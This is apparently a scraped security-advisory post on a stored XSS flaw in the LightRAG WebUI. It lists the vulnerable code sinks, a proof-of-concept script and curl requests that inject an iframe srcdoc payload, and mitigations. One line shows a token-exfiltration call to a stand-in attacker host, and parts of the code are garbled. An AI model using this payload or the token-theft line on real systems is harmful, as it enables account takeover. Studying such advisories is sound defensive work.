Listen to this Post
The LightRAG WebUI renders assistant/answer chat content as raw HTML.
react-markdown uses rehypePlugins={
} and skipHtml={false}.</h2>
<h2 style="color: blue;">No rehype-sanitize, allow-list, or custom urlTransform is present.</h2>
<h2 style="color: blue;">Answer content is derived from user-ingested documents.</h2>
An attacker who can add one document stores an HTML/JavaScript payload.
The payload executes in the browser of any user who later retrieves it.
<h2 style="color: blue;">Typically the viewer is an administrator.</h2>
This leads to auth-token theft from localStorage and full API takeover.
<h2 style="color: blue;">No authentication is required in the default configuration.</h2>
<h2 style="color: blue;">Sink: lightrag_webui/src/components/retrieval/ChatMessage.tsx.</h2>
Main answer MessageMarkdown lines ~348-351 use rehypeRaw and skipHtml false.
Thinking content lines ~252-272 use rehypeRaw and skipHtml false.
components map lines ~111-156 only restyles safe tags p,h1-h4,ul,ol,li,code.
There is no rehype-sanitize, no allowedElements/disallowedElements, no custom urlTransform.
<h2 style="color: blue;">Second sink: mermaid securityLevel: 'loose' line ~433.</h2>
Rendered SVG is injected via container.innerHTML = svg line ~483 plus bindFunctions(container).
<h2 style="color: blue;">'loose' disables mermaid output sanitization.</h2>
A ```mermaid block with HTML label or click directive is another script path.
KaTeX trust: true lines ~261/~359 is hardening not code execution.
<h2 style="color: blue;">\includegraphics{URL} renders a live remote <img src>.</h2>
This loads arbitrary external resources from the victim's browser.
Source to sink: POST /documents/text or POST /documents/upload stores document.
<h2 style="color: blue;">POST /query returns it verbatim when only_need_context=true, query_routes.py:27.</h2>
<h2 style="color: blue;">Otherwise the LLM echoes it.</h2>
<h2 style="color: blue;">Response streams into assistantMessage.content, RetrievalView.tsx:340.</h2>
<h2 style="color: blue;">react-markdown built-in defenses do not cover this.</h2>
It sanitizes href/src URLs so javascript: links are blocked.
React ignores string event handlers so <img onerror> is dropped.
Raw elements such as
<
iframe srcdoc="…"> and <svg><script> render unchanged and execute.
PoC tested at commit f3378a3 v1.5.5 with react@19, [email protected], [email protected].
<h2 style="color: blue;">Observed in headless Chromium/Edge: injected srcdoc script runs.</h2>
<h2 style="color: blue;"><iframe srcdoc> is the reliable vector.</h2>
<h2 style="color: blue;">A real attacker replaces benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')).</h2>
This exfiltrates victim JWT and impersonates them against the API.
Impact: stored persistent XSS, token theft, full account/instance takeover.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: LightRAG WebUI
Version: v1.5.5 f3378a3
Vulnerability: Stored XSS
Severity: Critical
date: Not provided
<h2 style="color: blue;">Prediction: 2026-10-22</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics:</h2>
[bash]
mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
node poc.mjs
msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"
import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';
const answer = <code><iframe srcdoc="<script>var h=parent.document.createElement('h1');h.style.color='red';h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');parent.document.body.appendChild(h);parent.document.='XSS-EXECUTED';<\/script>"></iframe></code>;
const body = renderToStaticMarkup(React.createElement(ReactMarkdown, { rehypePlugins: [bash], skipHtml: false }, answer));
writeFileSync('poc.html', <code><!doctype html><>before-xss</><body>${body}</body></code>);
console.log(body);
Exploit: (Educational Purposes!)
curl -X POST http://127.0.0.1:9621/documents/text \
-H 'Content-Type: application/json' \
-d '{"text":"
<iframe srcdoc=\"<script>document.=document.domain</script>\"></iframe>
","file_source":"note.md"}'
curl -X POST http://127.0.0.1:9621/query \
-H 'Content-Type: application/json' \
-d '{"query":"note","only_need_context":true}'
Protection: from this CVE
Use rehype-sanitize
Set skipHtml true
allowedElements allow-list
custom urlTransform
mermaid securityLevel strict
KaTeX trust false
Sanitize server output
Enable CSP
Impact:
Stored XSS enables token theft from localStorage, API takeover, knowledge base modification, graph deletion, document upload, and full account/instance compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
